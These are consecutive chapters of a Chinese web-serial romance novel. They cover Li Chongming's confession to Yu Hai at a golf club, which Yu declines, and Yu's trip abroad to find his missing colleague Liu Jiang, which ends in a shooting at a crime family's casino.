【忙完了吗?在干什么?】—李崇明
于海拍了张乐乐的照片发过去—【陪玩】
【很帅气的小狗,叫什么名字】
【乐乐】
【来打球?乐乐也带过来】
【不去了】
对面隔了一会发过来一条信息。
【是突然有事吗】
于海:【你不是怕狗吗】
对面这次隔了更长的时间才回复。
【你怎么知道的?】
于海:【接机魏少那次】
【啊…你还记得{捂脸}我七岁的时候被大狗追逐咬过,所以有心理阴影。但是正常的狗我是不怕的,魏少的爱犬似乎有点狂躁的倾向。你看,我家的这只也在这】
李崇明紧跟着发来一张图片——球场上一只丑萌法斗正趴地睡觉。
再次发出邀请【带过来一起玩吧】
【好】
于海闲着也没事,拿了球杆,带上乐乐驱车赶往了俱乐部会所。
偌大的高尔夫球场仅有李崇明一个顾客。
李崇明见他到来,热情的招手,等于海牵着萨摩耶走近后,还跟白毛大狗打了声招呼。
“那块是专门的宠物区域。”李崇明指向不远处划出的一大片草坪,照片上的法斗此刻正在那块草坪上打滚晒太阳,旁边还有专人看护。
于海将牵引绳交给工作人员,蹲下身抱了抱萨摩耶的脑袋:“去玩吧,有事了叫我。”
萨摩耶亲昵的蹭了蹭于海,汪了一声似乎在回应于海的话,听话的跟着工作人员离开了。
李崇明赞叹:“乐乐真是又乖又聪明。”
于海不替自家狗子谦虚,点头道:“它的确很通人性。”
李崇明打量他的侧脸、脖颈和被布料遮掩住的肩膀。
出院之后,于海遵照约定请客吃饭,和李崇明聚过两次,每次李崇明都会用类似的目光打量他,然后关心的问:“你的伤怎么样了?”
这次仍不例外。
李崇明自责道:“是我考虑不周全了,你现在还不能大幅度活动吧?”
“没问题。”于海笑道,“早就痊愈了,肩伤也完全没事了。”
脸上和脖颈上的伤痕确实一点也不见了,李崇明松口气。
他知道于海喜欢运动,原意也只是想找个借口邀对方出来。
虽然表面上看不出伤痕,但肩膀那处伤筋动骨,还是要注意不能触发了旧疾。
李崇明建议:“球场附近是一处湿地公园,景色优美,我们也可以不打球,去看看景。”
于海展示手中拿的装备:“那我的球杆不是白拿了?放心吧,伤早好了不影响活动,至于美景,没长脚跑不了,等和你打完球再看不迟。”
于海的目光总能让他感到信服和安心,李崇明眉眼含笑:“好。”
李崇明看着文文弱弱的,球技着实令人刮目相看,两杆轻松攻上五杆洞的果岭,然后两杆推入洞中,表情随意似乎很寻常的样子。
于海打高尔夫的次数不多,属于业余中的业余,站姿和握杆的姿势都不怎么标准,最大的优势就是心态平稳,一杆挥出去十有六七落不到目标点的位置。
成功抓下小鸟的李崇明安安静静的在一旁看着他打球,并不指手画脚,笑意中透着鼓励。
于海拄杆而立,虚心求教:“我有哪里需要改进的,烦请指导指导?”
李崇明受宠若惊的指了指自己:“我吗?”
于海笑了:“难道这地儿还有其他人?”
总不能让球童过来教他吧。
李崇明脸一热,快步走过来,纠正了于海的姿势和发力点:“肩膀手臂保持放松。”
另外附赠了几个打球的小技巧,不仅亲身演示,讲到细节处没有多想直接上手进行细节的调整。
手指碰触陌生肌肤的瞬间,一丝电流从指尖蹿动传遍全身,李崇明迟钝的发觉他竟然无意中和朝思暮想的人有了亲密接触。
第 61 章【VIP】
第61章 第 61 章
“需要用这个力道握杆吗?”于海察觉他的不对劲, “手臂无法放松。”
李崇明这才发现他不知何时已经握紧了对方的手,松开手退开,讪笑:“不用, 你原先的力道就好。”
于海想了一遍李崇明教他的要点, 参照物从球道中心该换成远方中心位置的灯柱, 挥杆打出,这次成功的落到了球道目标点。
李崇明传授的经验效果显著, 于海越打越手熟, 越打越轻松,对这项运动有种豁然开朗的感觉, 算是摸到些门道。
当然, 这一切都要归功于李崇明的指点。
于海玩笑:“我还以为自己水平不错,跟李少一比, 才知道我是鲁班门前耍大斧了。”
“你没有经过专业培训,已经很厉害了。”李崇明有点不好意思的说,“我专门学习过很长时间, 每年也会参加一些比赛, 所以技术成熟些。”
“李少谦虚了,虽然我球技不行, 但也看过职业比赛。就你露的这几手, 比起职业选手也是丝毫不虚的。”于海笑道,“今天是我走运了,出来玩一玩,竟能得到大师指点。”
李崇明脸上的温度更高了。
三个小时左右,两人打完了18洞。
一轮结束, 两人乘车回去。
萨摩耶正懒洋洋的卧在软嫩的草地上晒太阳,嗅到熟悉的气息, 爪子扣紧地面猛地挺起身体兴奋的汪了一声,猝不及防的举动吓得旁边鼾睡的丑萌法斗一个激灵。
“汪汪!”萨摩耶才不管它,开心的撒腿奔向他的主人。
李崇明无意识间绷紧了身体。
于海上前一步挡在李崇明身前,俯身接住奔赴而来的狗子。
看着散落在柔软蓬松黑发上的温暖阳光,李崇明生出想要触摸的冲动。贸然去抚摸别人的头发无疑是种越矩失礼的行为,他按捺住内心的躁动,然而已然生出的渴望却难以在短时间内压下去。
于海安抚好萨摩耶便起身看向他,李崇明在那双漆黑宁静的眼眸中看到自己的影子。
如果令他渴望和心动的人他都不去争取,那这世间还有什么值得他去为之努力争取的?
合适的时机要等待,但机会稍纵即逝。
他有等待的耐心,抢占先机的人却不会留给他等待的时间。
于海的心情很好,今天的天气也很好,还有比现在更合适的时机吗?
李崇明下定决心表明心迹。
晴空湛蓝澄澈,两人坐在遮阳篷下饮茶小憩谈天说地。
从干燥高温的热带沙漠聊到极寒之地,谈起曾经的极光之旅,李崇明见于海感兴趣顺势发出邀请:“下个月就进入了极光最活跃的一段时期,一直持续到过年。你这段时间有空闲吗?春节有没有安排?有没有兴趣来一趟探寻极光的旅行。”
于海有些意动,春节期间去看极光倒是个不错的安排,江雪梅这两年热衷于外出旅行探寻不同的风景,在国外观赏极光度过新年,他妈应该会挺开心的。
如果不是看到对方热切的目光和欲言又止的神色,于海大概会感谢对方提出的建议。
于海没有回答,而李崇明经过一番思量斟酌,双手握紧茶杯,温柔的语调中带着期待与紧张:“极光很美,璀璨壮丽如梦似幻。我第一次看到便被震撼了,那时我许下一个心愿,希望将来有一天可以和喜欢的人一同欣赏这种大自然赐予的极致美景。于海……你能陪我一起去吗?”
就算是个不开窍的,也能听出来李崇明是在告白。
虽然先前魏朝宗的表现让于海明白感情这种玩意不能用常理来进行逻辑推断。
他下意识的反应仍是去找寻李崇明对他产生情感的源头。
回想起机场见到李崇明之后,韩涛打电话询问他时的古怪语气,于海寻到些许蛛丝马迹,原来那时的李崇明已经有这方面的意思了吗。
但于海仍然不明白李崇明喜欢他的原因。
于海面色如常,笑道:“李少既然打算和喜欢的人一起,我就不跟着当电灯泡了。”
毫不迟疑的拒绝令李崇明失落不已,又不甘心就此放弃,情急之下说出的话更加直白,目光也更加热烈,他情不自禁提高声音:“你怎么会是电灯泡。有你在的地方,谁能看到其他人呢。”他也不例外。
这已经是情话的范畴了。
李崇明对外的表现向来是温文尔雅进退有度,不会让对方难堪也不会让自己陷入难堪的境地。
他们的聊天,无论话题关于生活还是工作,双方始终默契的把握分寸,不去过问对方的私事,也不会试图探究对方的私人领域。
于海一直觉得和李崇明做朋友挺舒服,两人相处就像共乘一辆车身轻巧的汽车,慢悠悠的行驶在平缓的乡野之路上,享受吹拂而来的清风,听着舒缓悠扬的小调。
而现在李崇明忽然暴起拆掉车顶,从小道一路疾驰奔向高速,乡村小调换成鼓噪的摇滚乐,风驰电掣的疾驰中,伴随呼啸的风声,李崇明激情的大声宣读告白,令人耳膜震颤。
于海虽然略有些尴尬,面上却丝毫不显,也不绕弯子,直言道:“把注意力放在我身上是不会有结果的,李少应该多看看其他人,不要在我身上浪费时间。”
“你有喜欢的人了?还是说你已经答应了别人的追求?”李崇明紧张的问,难道在他不知道的时候魏朝宗捷足先登了?
“没有。”
李崇明松口气,绷紧的面容放松下来,语调又恢复一贯的和缓:“我说这话可能有些冒昧,我天生喜欢同性,我能感觉出来你对同性是不排斥的。”
于海扬眉:“这点我不否认,不过我们只见过几面,李少确定我是你要找的人?”
“我们认识的时间的确不长,但感觉这回事和时间长短无关。”李崇明勾了勾唇,自我剖白,“从意识到自己的性取向到现在十多年,我遇到的第一眼让我合眼缘的人只有你一个,我担心这份天赐的缘分在我的轻忽之下溜走,所以等不及向你提前表白。如果我冒失的话让你感觉到不舒服,请原谅我。”
于海摇头,他没有感到冒犯,但也不会松口答应对方。
“你不怪我就好,我方才说的话都是真心实意的,并不希望给你造成任何的困扰和压力。”李崇明以玩笑的口吻说道,“我只是想在你有意向寻找另一半的时候,不要把我这个人剔除备选。说句不怕你取笑的话,我自认为做伴侣还是有许多优势的。”
李崇明丝毫没有咄咄逼人的架势,他轻松自然的态度很容易令人卸下心防,方才萦绕在两人之间的尴尬也在对方仿若闲谈的松弛氛围下散去。
“哦,怎么说?”于海拿起茶壶为两人的茶杯添上水,顺着对方的话音请他继续说下去。
李崇明重燃希望之火,眼睛一亮,他知道于海极为看重事业和自由空间,至今没有另一半的原因,他猜测大概是因为于海把过多的精力投入在工作上,懒于应付工作之外的人与事。
当一个人把所有事物都下意识和工作挂钩,当他懒得调动情绪去应付工作之余的人和事,又怎么会产生感情。
李崇明选择表白,并不是想要得到同等的感情回馈,他目前最大的目标就是得到于海的允许,走到对方身边,成为距离对方最近的人。
李崇明按照于海的喜好,列举着自己的优势。
“我们谈得来而且志趣相投,闲暇时间我们可以一起去就餐、运动、旅行,像普通话朋友一样相处,我不会干涉你的私事也不会涉足你的私人空间。事业上…”李崇明摊摊手,“我和我哥都不成器,我爸一直希望我们家能出现一个可以挑大梁的人。希望你不要介意,我和我爸提到过你,他对你的能力很赞赏。”
于海不由得看向李崇明,隐约猜到对方的意思,仍有些不可思议。
李崇明微笑着抛出一个天大的诱饵:“如果你和我成为一家人,我会将康拓集团拱手奉上。当然如果你想继续从事原来的行业,李家的所有人脉都可以为你所用。”
总而言之,生活上,他会给足于海自由的空间,工作上,他能给予于海最大的帮助。
对于事业心极重的人来说,这样巨大的诱惑不可谓不诱人。
康拓集团不是一座有待开发的宝藏,它本身就是一座闪闪发亮的金山。
而李崇明正捧着这座金山,用以交换他并不看重的伴侣身份。
这样的好事说是天上掉馅饼也不为过,但李崇明却好似觉得不够,继续加码,定要铲除于海所有的后顾之忧:“如果未来的某天,你不想和我继续走下去,我会放你离开,绝不会强求让你做不喜欢的事情,并且你可以带走属于你的那部分财产,这些我们都可以写进协议里面。”
不可否认,李崇明所说的确让于海为之心动。在不改变两人当前相处模式的情况下,仅是和李崇明缔结关系,既能让他在事业上跃迁飞升,又能让他妈得以安心。况且依李崇明所言,他来去自由,对他来讲,这是百利无一害的好事。
“你不怕我是个骗子?”
“你不是,我相信我的眼光。”李崇明叹息一声,脸上却带着笑意,“就算你是,我也认了。不试一试吗?”
李崇明语调轻快:“我不是那种穷追不舍的人,尝试过后你仍然不接受,我绝不会死缠烂打的。”
若魏朝宗不曾出现,于海面对摆在面前的条件心动之余,或许会答应试一试,但前车之鉴告诉他,感情这种东西太不可控。
纵然与李崇明的相处中,于海认可对方是个情绪稳定的人,但深入纠缠下去,未来会如何谁也不能保证。
于海热衷于拓展事业没错,却不想再招惹更多的情债,一个发疯的魏朝宗已经够麻烦的了。
刚才,于海鼓动李崇明说下去,并不是给他希望,而是话已至此,索性尽可能让李崇明摊开他自己的所思所想,明牌对垒,然后于海放出炸弹,彻底斩断李崇明的期待。
“抱歉,我们之间没有可能。”
听到这样斩钉截铁拒绝的话,说不难过那是假话,尽管李崇明早已有了心理预期,仍不可避免感到胸口酸涩。
他已经亮出所有底牌,不知道还能再做些什么努力才能打动对方。
但李崇明并没有泄露丝毫负面的情绪,仍是笑着说:“没关系,做不成情侣做知己也不错。”
然后玩笑道:“希望我的告白没有给你留下阴影,我们还能毫无隔阂的继续做朋友。”
于海没想到李崇明轻易的放下了,令人省心,与孙震元的纠缠不休和魏朝宗的歇斯底里形成鲜明对比。
这无疑是最好的结局。
于海扬唇角:“有李少这样的朋友是我的荣幸。”
李崇明暗地里郁结的心绪被他的一句话哄好了。
没关系,李崇明想,于海还没有定下来,他还有机会。
于海值得他去等待,多久他都会等下去。
第 62 章【VIP】
第62章 第 62 章
国内的业务进展顺利, 忙碌之中一切都在有条不紊的向前推进,而工作之余,闲暇时间鲜有人打扰, 生活清净平和, 于海今年难得享受了一段安静时光。
让人享受的时间总是过得飞快, 转眼到了十一月中旬。
与此同时,刘江出差V国也有了显著成果, 一举拿下两个大合同。目前两个项目均已经启动了方案设计。商务上敲定了合作, 也不需要刘江时刻顶在“前线”。
于海打算另派人过去替换刘江,让刘江和同去的助手葛威回国休息一段时间, 陪陪家人。
接替的人去了, 刘江却没回来。
打过来的电话支支吾吾含糊其辞:“那啥……我想去趟T国,过两三天再回。”
于海听他语气就猜到有内情, 故作不知:“旅游?”
“对对对,旅游旅游。”
“这么积极,旅游搭子难道是徐姐?”
刘江脱口而出:“我靠, 你怎么知道?你是我肚子里蛔虫吗?”
“大门不出二门不迈的死宅突然对异国游感兴趣, 用脚趾头想也知道你目的不单纯。”
“嘿嘿。”刘江老实交代,压不住的喜悦, “也不算旅游, 徐蕊最近在T国工作,我这边离的近,自驾五六个小时就到了,正好开车过去看看她。”
“两三天时间够满足你相思之情的?”于海揶揄道,“我给你多放几天假, 什么时候徐姐赶你了再回来。”
“咳,那不是已经给家里二老说了要回家, 俩人每天打电话催行程呢。”
“V国项目临时有变更,需要你再多呆一段时间,我给你找的这个借口怎么样?”
刘江激动地提高音量:“好兄弟!”
第二日,刘江发来【小人捶胸顿足仰天长啸】的表情包。
于海:?
刘江:【双人自拍照】——葛威一手握方向盘,一手比耶,笑得见牙不见眼,刘江坐在副驾驶的位置上,眼底青黑满脸生无可恋。
刘江的电话接着打了过来:这小子非要一起,说什么T国危险,给我讲了一晚上噶腰子不打麻药的都市传说。
于海:你挑明去T国约会不就行了,人家又不是不知趣的人。
刘江:……
有苦难言。
徐蕊工作性质特殊,在网络上小有名气,她曾经的那段感情经历在某些心理阴暗的人眼中是可以被挞伐的“黑点”,刘江不希望自己的存在成为那些人攻击她的又一个角度。
因而知道他暗恋对象的人少之又少,公司除于海之外更是从未透漏给其他人。
刘江找了一堆理由——他可以照顾自己,他喜欢一个人独行、T国有老朋友……
无奈这小子压根听不懂人话啊,瞪着无辜的小眼睛说:“没关系刘哥,你自己玩就行不用管我,我给你当司机。”
刘江哀嚎:“他没关系我有关系啊!”
于海笑个不停:“小葛说得对,T国不安全,他的花销我报销了,就当保护你的安保费。祝你……不对,祝你们三人旅行愉快。”
刘江:……无语凝噎。
隔天,于海收到乔叶尧的消息。
距离乔叶尧的生日还有一周,乔家准备了条游轮举办成人礼,乔叶尧问他能不能过去。
不巧,于海马上要飞华城参加几场重要会议,来回差不多也需要一周时间。
向乔叶尧表明情况后,对面沉默了许久,发过来一个小狗闷闷不乐的表情。
于海随手丢过去一个[摸摸狗头]的表情包。
不知道哪刺激到对方,乔叶尧这下来劲了,跟他玩起了斗图。
几分钟过后,乔叶尧似乎认命了。
【不来就不来吧,你有什么想要的礼物吗,我挑出来送给你。】
于海:??
【过生日的人是你】
【所以我会收很多礼物啊,到时我拍照发给你,你想要哪个,随便选。】
本来乔叶尧是打算带着于海亲自去挑的。
乔叶尧送不送他东西另说,既然对方提了生日这件事,于海肯定要准备一份成人贺礼送给对方。
说到生日,于海想到魏朝宗的生日马上也要到了,他答应过魏朝宗要给他买份礼物,正好两人的礼物一起买了。
魏朝宗自从上次的醉酒之后再未联系过他。
不过并不是彻底的销声匿迹。
褚骋戎和他现在算是不错的钓鱼搭子,两人垂钓时,褚骋戎状似无意的透漏魏朝宗的近况。
魏朝宗在华城和青奚往返不停,每天休息不到五个小时,其余时间都投入工作当中,周家的权力正在平稳的交接到魏朝宗的手里。
于海自动忽略精神萎靡、神色不佳、情绪郁郁等词语,总结出魏大少的状态——人没死,挺好的。
这份礼物他是亲自送过去还是派人代送,在如今这阶段倒还真成了一道选择题。
不过突发而来的一件事情,让他没时间去考虑这些问题——刘江失联了。
于海提前结束华城的会议,回到青奚脚还未沾地便接到葛威的电话。
“于…于总。”葛威声音颤抖的说,“不好了,刘总,刘总他……。”
于海安抚道:“别急,慢慢说。你不是和刘江去T国了吗?”
“我们本来计划今天回国,昨天上午,刘总说他有点事要办就出去了,一直到现在也没回来。我怎么也找不着人,前几通电话还显示未接通,刚才再打过去,直接显示关机了!”
于海心中一紧,从抽屉取出备用手机打过去,果然听到拨打电话已关机的提示音。
他和刘江共事多年,对方的为人他很清楚,刘江虽懒散,正经事上从不含糊,更不会拿这种事开玩笑。
葛威跟着刘江干了两年,显然也清楚这一点,所以才慌了。
于海语气冷静:“问过其他人了吗?”
“问了,前台和保安都说昨天见了刘总出门,但是没见人回来。”
“你立刻去报警,不要慌,有问题求助领事馆,我会抓紧时间赶过去。”
“是,是。”
T国不似国内安定,近年来去T国旅游莫名失踪的人每年都有。即便这真的是场乌龙,于海也不敢掉以轻心。
这段日子,于海和褚骋戎当了一段时间钓友,了解到褚家在T国有产业,而且规模不小。虽然褚骋戎没有点明,但T国军政府当权,民间鱼龙混杂,褚家能在T国混的不错,想必黑白两道都吃得开。
“褚少,有件事麻烦你……”
T国是落地签,省去许多麻烦。
青奚直达T国崑港市的飞机每天仅有一趟,于海让助理订下往返机票,准备第二日出国。
他这边将公司暂时交给蒋言,给他妈交代清楚去向,让他妈帮忙安抚刘江父母,嘱咐小助理将礼物交给乔叶尧,一切安排妥当,便按照既定行程赶赴T国。
华城时间下午四点,飞机抵达崑港市。
现今已进入十一月中下旬,青奚夜间温度低至个位数,需要穿上保暖的衣物防风防寒,而T国却是截然不同的温暖。
于海下了飞机便感觉到扑面而来的热意,外面阳光明媚,他的心情却是阴云密布。
一天过去,刘江仍然没有任何消息,至此已经可以确认刘江出事了。
到了机场,于海懒得和当地海关纠缠,如他们所愿交了小费,顺利拿到签证。
到了航站楼,于海看见一位个子矮小但肌肉发达的男子向他挥手。
“您是于总吗?”
于海点头。
“胡总派我过来接您。”
男子带他去了停车场,径直走到一辆黑色大G面前,车门拉开,一个胡须修剪整齐的大汉走了下来,热情的伸出手:“于总,我是胡茂。”
“胡总您好。”
“褚少已经向我交待了。我知道您担心朋友的安危,咱们也不寒暄了。”胡茂请于海上车,开门见山直奔主题,“领事馆一直在向警方施压,当地表现的很重视。重视归重视,执行力上大打折扣。T国和咱们国内不同,这里秩序相对混乱,□□势力猖獗,人口失踪是常有的事,警方和当地□□也有利益纠葛,失踪案基本都是草草结案了事。毕竟是在他国的地盘上,领事馆的人有心要管也不便插手太多。”
胡茂的意思很明白,依靠T国官方的力量不靠谱,能不能把人找到,还是要看他们自己,或者听天由命。
“时间紧迫,我的人目前打听到的消息有限。”胡茂展开一张崑港市的地图,指着上面标识红圈的位置,“刘总昨天上午从酒店打的,在这个地方下了车。”
于海看着上面的标识——八区红瓦巷。
胡茂:“的士司机说,刘总在跟踪一辆车,那车上的乘客是一名女士。”
于海一怔,沉思片刻道:“我想去酒店瞧瞧。”
胡茂吩咐司机:“听于总的,去酒店。”
崑港市共有八个行政区划组成,它并非首都,但经济地位在T国各大城市稳居前二。
刘江住的酒店位于崑港市最繁华的一区,核心区高楼林立,颇有国际化大都市的范儿。
胡茂将地图交给于海:“你今晚打算歇在这儿?如果你不嫌弃可以到我家来,我住的附近有家不错的华国餐馆。你舟车劳顿还没吃饭吧,人是铁饭是钢,填饱肚子才能干事。”
于海接过地图:“多谢胡总的周到安排。不过今晚我打算在这儿住下,顺便看看一我朋友有没有留下什么线索。”
“也好。”胡茂不强求,“让阿力跟着你吧,别看他个头不高,可是个能一打五的练家子。而且他会说华语,对崑港市也熟悉,你想去哪,就让他带你过去。”
阿力便是机场接机的那位矮个子男人。
于海笑着和小哥点了点头:“麻烦您了。”
阿力闻言羞涩的摸了摸头上的青茬。
于海转头对胡茂说:“感谢您专程跑一趟,我朋友的事还要劳烦您费心。”
胡茂:“客气客气。褚少说您是他的朋友,他交代的事我肯定尽心竭力去办,有什么需要的,您尽管吩咐。我那边调查有进展了,会第一时间通知您。”
胡茂本来想把自己座驾留给他,于海婉拒了。
打开车门,于海向酒店走去。
酒店门口,葛威焦灼不安的来回踱步,看见于海的身影,忙不迭的跑过来:“于总。”
“阿威。”于海来不及安抚,问道,“刘江最近和什么人接触过吗?”
“什么人……噢!有一个女人,好像姓徐,她也住在这家酒店,还请我们吃过饭。”
“还有其他人吗?”
葛威冥思苦想,捋了遍他们最近见过的人,摇了摇头。
依胡茂所说,刘江跟踪一个女人随后失踪,那这个人极大概率就是徐蕊!
如果是徐姐……
“我知道了。”于海拍了拍他的肩膀,缓声道,“刘江不会有事的。”
葛威仿佛找到了主心骨,压在心口的沉甸甸的大石头瞬间减轻许多,老板说没事,那就一定没事!
于海他们走到前台。
住在这家酒店的华国人占比不小,前台也能用华语做简单交流,她认出了胡茂,开口也用的华语。
“先生,有什么需要帮忙的吗?”
于海:“我有位朋友失踪了。”
前台看了眼葛威:“葛先生昨天问过的那位先生吗?抱歉,我没有见到他回来。”
“不是刘江。”
前台目光疑惑,葛威也诧异的看向他。
于海继续说:“是一位女士,名字叫徐蕊,您能帮我确认一下她的信息吗?”
前台查询登记的房客:“徐女士,20号上午九点已经退房了。”
20号,两天前,也是刘江失去消息的那天。
刘江跟踪的那个人可以确定是徐蕊。
虽然不明前因后果,但徐姐不是个莽撞行事的人。
如果她留了后手,那她在T国能依靠的力量会是什么?
“阿力,麻烦你帮我租辆车,普通的就好。”于海从钱夹取出置换的当地纸币交给他。
“钱太多了,老板。”
“你先拿着,剩下的去买点吃的。”
阿力乐呵呵的接了钱,在附近找了个车行租下一辆当地最常见牌子的汽车,随便在路边买了点东西垫饱肚子,便开车回了酒店。
“你的房卡。吃了吗?”
这位华国来的客人和他的老板一样,也是位慷慨热心的人,阿力喜欢跟着这样的人干事,他接过房卡,主动说:“吃了,还有什么我能做的吗?”
“麻烦载我去趟领事馆。”
慷慨且绅士。
阿力不假思索,痛快的点点头。
T国政府在一区划定了专门的街区,各国领事馆集中于此,华国领事馆是其中之一。
领事馆门口,阿力将于先生放下,见他顺利的进了大门,便在周围附近找了个树荫停下车,坐在路边的长椅上,边抽烟边等人。
第二支烟抽到一半,于先生出来了,与进门时相比,脸色有些许凝重。
阿力赶忙摁熄烟头,打开车门。
“谢谢。”
于先生神色从容的淡笑道谢,阿力错觉方才是自己看花了眼,不由得从驾驶座的位置看向后视镜,那双漂亮的不像话的眼睛微垂着,似乎陷入了思索。
一定是从领事馆知道了不好的消息。唉,在八区失踪的人能有什么好下场,白费工夫罢了。
“麻烦开车去红瓦巷。”
阿力愣了愣,连忙点头:“好。”
能有于先生这样的朋友,那位刘先生也是不幸中的幸运了。
于海的确从领事馆获知了些不算好的消息,他猜到徐姐或许和领事馆有过联系,猜到徐姐的失踪有可能是她主动入局。
但同时摆在眼前的还有这件事代表的危险,他们面临的敌人是个危险至极的人。
于海回想和领事的谈话。
【“我朋友两天前失踪了,至今没有消息。”
“两天前?昨天有人来寻求帮助,你要找的也是刘江?”
“是的,一并失踪的还有徐蕊。”
“什么?你说徐蕊也失踪了!”
“最后有人看到她的地点是八区红瓦巷。”
“唉,她太着急了,太着急了。”
“您知道她去八区的原因?”
“她是以身犯险啊…”领事拿出一张照片,“这是徐蕊交给我的。”
照片是一个男人的半张面孔,容长脸五官普通,嘴里叼着雪茄,五十多岁的年纪,长相与华国人一般无二,不过T国千年前曾是华国领土,祖上便深受华国移民影响,长得像并不奇怪。
“他是?”
“段文槐。徐蕊以身犯险是为了救人,也是为了寻找他的罪证。”
“段…他是华国人?”
“T国国籍。”领事摇头叹息,“正因如此,让他伏法这事才不好办。不过,既然知道徐蕊他们的去向,我们这边会派人斡旋,首先保证他们两人的安全。唉,徐蕊太冲动了,她不知道面对的是什么样的人。”】
段文槐是怎样的人?
于海理解他们不宜透漏太多。
出了领事馆坐进车内,于海向胡茂打听消息。
“胡总,你认识段文槐吗?”
“有过一面之缘。”
领事强调段文槐国籍的事,让于海觉得古怪:“段文槐曾是华国人?”
“他爷爷那辈移民过来的,嗨,说移民是给他洗白了,其实他爷爷是在国内犯了事,携款潜逃偷渡到了T国,据说他家把那笔不法之财尽数献给上面作为投名状,算是找到了靠山,也在T国站稳了脚跟。”
“段家做什么生意的?”
“酒店、零售都有涉及,还开着电子元件加工厂,不过实际上……”胡茂冷哼一声,“他家在国内就干不法勾当,到了律法不严的T国,背地里什么腌臜事都干的出来。你怀疑这件事和段文槐有关?”
“我听说东八区是段文槐的势力范围。”
“嗐,我这个脑子。没错,段文槐是东八区地头蛇之一,他的地盘就集中在红瓦巷,真是他幕后主使,那这件事就棘手了。”
“胡总,你知道崑港市有哪家和段家不对付吗?”
“T国排外,对段家这种移民不久的外来者,看不顺眼的有很多。”胡茂补充,“你想借力打力?难。这些年段家虽然式微,但当年的投名状不是白交的,若能被轻易扳倒,他早被吃掉了。何况他的靠山,你应该有所耳闻,他们为了钱什么都做得出来。”
两年前,T国发生了件极为恶劣的事件,某小国富商T国度假期间,被杀人越货,随身携带的价值连城的珠宝不知所踪。时隔一年多,其中最昂贵的一颗宝石镶嵌在T国当政者的戒指之上。尽管饱受国际舆论谴责,当政者仍充耳不闻死不认账。可见他们从上至下皆是为了钱财无所不用其极的亡命之徒。
正因如此,于海心里才萌生一个计划。于海的确打算借刀杀人,不止借刀杀人还要釜底抽薪。
杀他们的这把刀不是段家的敌人,而是段家的靠山,段家敌人仅是他计划与T国上层搭线的媒介。
钱能保住段家的命,也能买他们的命。
当然不到你死我活的境地,于海不想这个计划有真正付诸实施的机会,毕竟是步险棋。
目前领事馆的人在积极沟通,如能交纳赎金将人安全赎回来,自然更好。
于海简单说了自己的想法。
胡茂被他的大胆震住了,缓了缓想到T国的现状,不得不承认这招虽冒险,但能在不得已的关键时刻扭转局势,不过……
“段家的命不是容易买的。”胡茂的话意味深长。
得了褚少吩咐之后,胡茂粗略了解过这位于总的信息,于海和他一样都是底层出身,于海的家境甚至比他更差。换言之,他们都是白手起家,如今拥有的一切建立在挥洒的无数血汗之上。
无根基无背景的创业,其中艰辛唯有自知,正因如此,他们这类人对自己的事业极为看重,重视程度不亚于自己的孩子。
胡茂忍不住说的更直白些:“如果拿钱买命是笔划算买卖,段家早就不复存在。以T国高层的贪婪程度,满足他们的胃口可能要押上你的所有。”
对面没有迟疑:“钱可以再赚。”
轻描淡写的几个字,让胡茂震了震,颇为动容,只说:“您朋友一定可以平安救出来。有什么用得上我的,尽管提。”
于海诚恳的道了谢。
从一区至八区,高速平稳行驶的汽车被迫慢下来,繁华明净的商业街区远去,熙熙攘攘灯火通明的市井进入视野,宽阔的马路两侧被各式各样的摊位占据,人群摩肩擦踵穿梭在商铺和摊贩之间,喧嚣的人声百米开外依稀可闻。
沿着黑五路向西,跨过一道拱桥,便到了红瓦巷,与百米之外的热烈盛景相比,红瓦巷是另一番的“热闹”。
道路变得狭窄而颠簸,两侧灰扑扑的楼房墙壁画着各式各样的涂鸦,悬挂的灯牌散发着模糊的红光,穿着清凉的男女□□相贴,带着一种说不出的粘腻。
通往地下的楼梯口,几个大汉围着一人疯狂殴打,痛苦的哀嚎和求救声只引来廖廖好奇的目光,鼻青脸肿面目全非的人被拽着头发像拖拽一条死狗拉入黑暗的地下,留下一滩脏污血水。
角落里两三个人聚在一起,心照不宣的交换手中的钱和白色粉末,不远处的小巷中有人倒在地上抽搐,神色迷离飘飘然不知神魂何处。
妓院、赌场、毒品交易,就这么堂而皇之的暴露在众目睽睽之下。
隐藏在糜艳红光底下的又是怎样的罪恶。
“这里是?”
“红灯区,也是八区的老城区。”
阿力打量于先生,他的面色淡淡的,没有贪婪、没有渴望、没有厌恶、没有好奇,什么都没有。
似乎只是不经意的问了一句。
那道架在河上的拱桥仿佛一道分界线,将世界分成两半,一半安居乐业,一半糜烂淫逸。
他们一路开到红瓦巷尽头,放眼望去远处仅有零星灯火。
“那边是工业园区?”
“对。”
他们会在哪儿呢?
于海沿着红瓦巷走了许久,眺望夜空,天边只见沉沉雾霾,果然是发展中的城市,看不见月色和星光。
忽然,漆黑的夜空倒映出红光,尖叫声撕破空气鼓噪着耳膜。
于海猛地转头去看,他身后火光冲天,那是赌场的位置!
“我先过去,你去开车,拱桥汇合。”
“是。”阿力立刻往巷尾停车的地方跑。
于海掏出口袋中的折叠刀藏在袖子中,向事发地点跑去。
他距离赌场的位置不远,很快跑到现场看到人头攒动。
漆黑隐蔽的地下通道烟雾缭绕,成了最引人瞩目的存在,看热闹的围观群众七嘴八舌地议论。
最先从出口爬出来的是个容长脸的年轻人,他狼狈的站在通道出口不远处,灰头土脸的被两个人搀扶着,边捶胸顿足边恶狠狠的指挥小弟们救火,嘴里不时吐出无意义的话,看样子应当是什么污言秽语的咒骂。
于海拨开层层围观的人群,并未走到最前面,身高的优势足以让他越过攒动的人头看清前方发生的情况。
来的路上,于海查阅了段家的一些信息,一眼认出这个容长脸的年轻人是段文槐的大儿子——段涛。
烟雾弥漫的地下入口,接连不断的有人捂着口鼻狼狈的跑出来,趴在地上呛咳,贪婪的呼吸新鲜空气。
忽然于海看到熟悉的面孔。
【抓住他们!】
段涛推开搀扶自己的两个人,气急败坏的嘶声命令,肌肉遒劲的打手们闻声立刻围了上去。
于海听不懂他的话,但从他们那些人的行动可以判断出,段涛正在下令抓住刚跑出来的刘江和徐蕊。
看热闹的人将这片区域围成一堵难以逃脱的人墙,刘江、徐蕊还有跟在他们身后的男人女人们在这片狭窄的区域狼狈窜逃,而那些人像猫捉老鼠般玩弄他们。
于海心中一紧,正欲上前制造混乱驱散人群,一只手用力攥住了他的胳膊。
“放心。”
他低声道。
突兀而熟悉的声音传入耳中,于海发现他一点不奇怪对方出现在这儿。
来人是魏朝宗。
第 63 章 【完结】
第63章 第 63 章
砰!
话音落地, 枪声响起!
围堵刘江等人的打手们听见枪响条件反射的蹲下抱头。
满面怒容的段涛猛地身体一震,不可置信的捂着被子弹穿透的胸膛,应声倒地。
人群哗然。
